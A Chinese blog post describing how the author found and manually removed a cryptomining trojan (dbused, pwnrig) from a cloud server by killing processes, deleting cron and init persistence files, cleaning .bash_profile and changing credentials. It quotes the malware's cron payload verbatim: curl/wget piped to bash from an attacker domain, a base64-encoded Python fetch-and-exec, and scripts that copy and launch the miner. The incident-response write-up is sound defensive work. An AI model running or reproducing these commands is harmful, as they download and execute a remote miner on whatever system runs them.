• 【学无止境】手动查杀 Cloud Server 挖矿木马


    发现问题

    某云服务器上,接连收到多个警报,示例如下:

    png

    综合起来,问题主要集中在以下文件:

    /usr/bin/dbused (deleted)
    /tmp/x64b (deleted)
    /tmp/x64b
    /tmp/.dbusex/dbusex
    

    我登陆到服务器控制台一看,CPU使用一直在接近100%的状态。回想了一下,后台没有运行什么大量消耗CPU的任务,估计是中了木马。

    初步筛查

    使用top查看,发现问题进程如下:

    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND                                         
    14167 root      20   0  305000   6544      0 S  99.0   0.3  11:52.84 dbused      
    

    这个 14167 进程,运行了 dbused 命令,使用CPU达到99%,因为是单核CPU,也就是说它一个人霸占了所有CPU资源。几乎可以肯定罪魁祸首就是它了。

    尝试1

    于是,我尝试杀掉这个进程:kill -9 14167,但是马上又有一个新的起来了。

    所以,除了这个“挖矿”进程之外,肯定还有一个“监工”进程,负责重启“挖矿”进程。

    尝试2

    我又想到,如果我把这个程序文件删了,它不就重启不起来了吗?于是,第二个思路是找到其对应的文件,尝试删除:ls -l /proc/14167/exe,结果如下:

    lrwxrwxrwx 1 root root 0 Nov 13 16:25 /proc/14167/exe -> '/usr/bin/dbused (deleted)'
    

    尝试 delete 失败,因为在 /usr/bin 下面,没有 dbused 这个文件。(至于为什么后面会讲到。)

    尝试3

    两次尝试失败,有些气馁,不过没关系。我们把能做的先做了。

    进入 /tmp 目录下面,把 x64b, dbusex 等文件都删了,然后把这个目录下没用的 或者 可疑的东西都清理干净。

    这么做的原因有三个:

    1.一开始的服务器报警里面提到了这个目录,非常可疑。
    2.我看了一下x64b等文件的内容,非常像挖矿程序产生的中间文件(诸如节点信息,log信息等等)。
    3.我确定,自己运行的后台程序不会生产这些文件。

    把这些中间文件删了,只能说是出了口恶气,源头还是要掐死。

    进一步筛查

    分析到这里,其实我们大概知道,系统里面有两个坏人:

    • 一个是 挖矿 程序
    • 一个是 监工 程序

    我们最最关键的,是要把那个“监工”的先找出来干掉,否则挖矿的源源不断。

    于是,思路是:检查定时脚本目录。

    清理定时脚本1

    /var/spool 目录下,发现两个可疑文件:

    /var/spool/cron/crontabs/root
    /var/spool/cron/root
    

    脚本如下:

    * * * * *     
    (curl -s http://bash.givemexyz.in/xms||wget -q -O - http://bash.givemexyz.in/xms)|bash -sh; 
    echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly9iYXNoLmdpdmVtZXh5ei5pbi9kZC5weSIpLnJlYWQoKSkn 
    | base64 -d | bash -; lwp-download http://bash.givemexyz.in/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms
    

    大概看了一眼,这个脚本会上一个坏网站,去下载一些坏东西,然后运行起来。
    最坏的是,把坏服务起好了之后还会把痕迹删掉。一肚子坏水。

    尝试rm删除这两个文件,报错:rm: cannot remove 'root': Operation not permitted

    哼,这能难得倒我们吗?

    先解锁文件,然后就可以rm

    // 查看锁
    lsattr root
    // 解锁
    chattr -ia root
    // 删除
    rm -rf root
    

    删除成功,但是过了一会儿又生成了。说明源头不在这儿。继续努力。

    清理定时脚本2

    我们看一下/etc这个目录下的文件:ll /etc/cron*,发现一大推坏东西:

    cron.d:
    total 24
    -rw-r--r--. 1 root root 128 Nov  9  2019 0hourly
    -rw-r--r--  1 root root 339 Nov 12 02:31 apache
    -rw-r--r--  1 root root 108 Nov 13 16:58 nginx
    -rwxr-xr-x  1 root root 139 Nov 12 02:33 pwnrig
    -rw-r--r--. 1 root root 108 Nov  9  2019 raid-check
    -rw-r--r--  1 root root 339 Nov 12 02:31 root
    
    cron.daily:
    total 12
    -rwxr-xr-x  1 root root 232 Nov 19  2019 exim-tidydb
    -rwxr-xr-x. 1 root root 189 Jan  4  2018 logrotate
    -rwxr-xr-x  1 root root 139 Nov 12 02:33 pwnrig
    
    cron.hourly:
    total 12
    -rwxr-xr-x 1 root root 575 Nov  9  2019 0anacron
    -rwxr-xr-x 1 root root 321 Nov 12 02:31 oanacroner1
    -rwxr-xr-x 1 root root 139 Nov 12 02:33 pwnrig
    
    cron.monthly:
    total 4
    -rwxr-xr-x 1 root root 139 Nov 12 02:33 pwnrig
    
    cron.weekly:
    total 4
    -rwxr-xr-x 1 root root 139 Nov 12 02:33 pwnrig
    

    经过甄别,都是木马,没有错杀。下面挑几个典型的列举出来看看:

    木马1

    /etc/cron.weekly/pwnrig

    代码如下:

    cp -f -r -- /bin/crondr /bin/dbused 2>/dev/null
    cd /bin 2>/dev/null
    ./dbused -c  >/dev/null 2>&1
    rm -rf -- dbused 2>/dev/null
    

    它会把这个 crondr 文件 copy 到 bin 下重命名为 dbused ,然后运行起来,再删掉源文件。怪不得当初去找的时候发现文件不存在!

    木马2

    /etc/cron.hourly/0anacron

    代码如下:

    if test -r /var/spool/anacron/cron.daily; then
        day=`cat /var/spool/anacron/cron.daily`
    fi
    if [ `date +%Y%m%d` = "$day" ]; then
        exit 0
    fi
    
    # Do not run jobs when on battery power
    online=1
    for psupply in AC ADP0 ; do
        sysfile="/sys/class/power_supply/$psupply/online"
    
        if [ -f $sysfile ] ; then
            if [ `cat $sysfile 2>/dev/null`x = 1x ]; then
                online=1
                break
            else
                online=0
            fi
        fi
    done
    if [ $online = 0 ]; then
        exit 0
    fi
    

    非常贴心地还加了句注释:Do not run jobs when on battery power。这个应该是辅助性文件。

    木马3

    /etc/cron.d

    目录如下:

    -rw-r--r--. 1 root root 128 Nov  9  2019 0hourly
    -rw-r--r--  1 root root 339 Nov 12 02:31 apache
    -rw-r--r--  1 root root 108 Nov 13 17:33 nginx
    -rwxr-xr-x  1 root root 139 Nov 12 02:33 pwnrig
    -rw-r--r--. 1 root root 108 Nov  9  2019 raid-check
    -rw-r--r--  1 root root 339 Nov 12 02:31 root
    

    熟悉挖矿的小伙伴应该觉得眼熟吧。

    删除

    最终,把这些文件,以及其中提到的其它位置的可疑文件,都统统删掉!

    然后,再把 dbused 进程以及其他可疑进程都杀掉。

    做完之后,发现系统占用降下去了,且 dbused 不再重启,查杀取得阶段性胜利!

    复查

    经过一番折腾,我感觉,这个木马繁殖性是比较强的。有多个地方都有 监工 脚本,删了一处,还会有另一处起作用。
    所以,一个比较好的做法是,找到所有出现问题的文件,写一个脚本,然后一起删。
    因为打字毕竟慢,有的时候我刚删了 A , B 就把 A 重新生成出来了。(Cron job 不就是定时执行的嘛。)

    另外,一定要做复查,针对之前的问题程序,再重新扫描一遍系统,看看有没有漏网之鱼。

    find / -name "*dbused*"
    find / -name "*cron*"
    find / -name "*dbusex*"
    

    其实,复查过程中我还发现了好几个高危的可疑文件,就不列举出来了,统统干掉!

    最后,重启服务器,然后观察几天,如果都没问题的话,查杀就成功了。

    改密码

    最后的最后,问题来了,黑客一开始是怎么把木马程序放到服务器上的呢?

    那肯定是有漏洞啊。

    云端服务器一般都会提供一堆需要额外付费的网络防护套餐,不差钱的话可以考虑下。

    免费的话,我们能做且一定要做的是:

    1.先把登录密码改了。
    2.再把SSH重新搞一遍,把旧的key都作废。
    3.把不用的端口(类似8080,9090之类的)关掉或者限制IP访问。

    后续更新 1

    过了几天,我发现服务器又中招了。。。

    分析观察如下:

    • 把之前的步骤走了一遍,并没有发现新的病毒文件。
    • 把木马进程 kill 掉后,发现它变“弱”了许多,并没有马上重启,而是过了好一会才重启。

    捣鼓了一阵,发现了问题所在:

    ~/.bash_profile中,被注入了病毒代码:

    cp -f -r -- /bin/bprofr /bin/dbused 2>/dev/null && /bin/dbused -c  >/dev/null 2>&1 && rm -rf -- /bin/dbused 2>/dev/null
    

    所以,每当我正常执行命令(比如起HDFS集群),然后需要读取.bash_profile文件的时候,就会同时启动木马。(回想一下,服务器高占用时间也正是我上去工作的时间,周末一天闲着反而没事)

    查杀也很简单,把.bash_profile文件清理,并将相关文件删除即可。

    后续更新 2

    又过了一阵子,我发现在啥也不干的时候,服务器上CPU占用很低,但是内存占用非常高,又分析了一阵,推测应该是病毒没杀干净,木马仍然会部分启动,占用了很高的内存,但是由于网络被我关了,后续运算无法进行下去。

    需要删掉的可疑文件如下:

    # 1
    /etc
    lrwxrwxrwx   1 root root   10 Nov  9  2019 rc0.d -> rc.d/rc0.d
    lrwxrwxrwx   1 root root   10 Nov  9  2019 rc1.d -> rc.d/rc1.d
    lrwxrwxrwx   1 root root   10 Nov  9  2019 rc2.d -> rc.d/rc2.d
    lrwxrwxrwx   1 root root   10 Nov  9  2019 rc3.d -> rc.d/rc3.d
    lrwxrwxrwx   1 root root   10 Nov  9  2019 rc4.d -> rc.d/rc4.d
    lrwxrwxrwx   1 root root   10 Nov  9  2019 rc5.d -> rc.d/rc5.d
    lrwxrwxrwx   1 root root   10 Nov  9  2019 rc6.d -> rc.d/rc6.d
    lrwxrwxrwx   1 root root   13 Feb  5  2020 rc.local -> rc.d/rc.local
    
    # 2
    /etc/init.d
    -rwxr-xr-x  1 root root  2415 Mar 30 00:27 aegis
    -rw-r--r--  1 root root 18440 Aug 23  2019 functions
    -rwxr-xr-x  1 root root   250 Nov 12 02:33 pwnrig
    -rw-r--r--. 1 root root  1161 Feb  5  2020 README
    
    # 3
    /etc/rc.d
    drwxr-xr-x. 2 root root 4096 May 10 21:04 init.d
    drwxr-xr-x. 2 root root 4096 Nov 12 02:33 rc0.d
    drwxr-xr-x. 2 root root 4096 Nov 12 02:33 rc1.d
    drwxr-xr-x. 2 root root 4096 Mar 30 00:27 rc2.d
    drwxr-xr-x. 2 root root 4096 Mar 30 00:27 rc3.d
    drwxr-xr-x. 2 root root 4096 Mar 30 00:27 rc4.d
    drwxr-xr-x. 2 root root 4096 Mar 30 00:27 rc5.d
    drwxr-xr-x. 2 root root 4096 Nov 12 02:33 rc6.d
    -rw-r--r--. 1 root root  474 Feb  5  2020 rc.local
    

    其中重点关注pwnrig,对其做一次全盘扫描查杀。

    参考

  • 相关阅读:
    RAC安装时,报The specified nodes are not clusterable 的解决方法
    Unix sar 命令
    Linux 修改 IP地址 和 网关
    Oracle ASM 详解
    RAC安装时需要执行4个脚本及意义
    RAC 的一些概念性和原理性的知识
    Oracle 10g RAC 启动与关闭
    Oracle RAC 修改 IP 地址
    Linux 时间同步配置
    RAC安装时,报The specified nodes are not clusterable 的解决方法
  • 原文地址:https://www.cnblogs.com/maxstack/p/13972033.html
Copyright © 2020-2023  润新知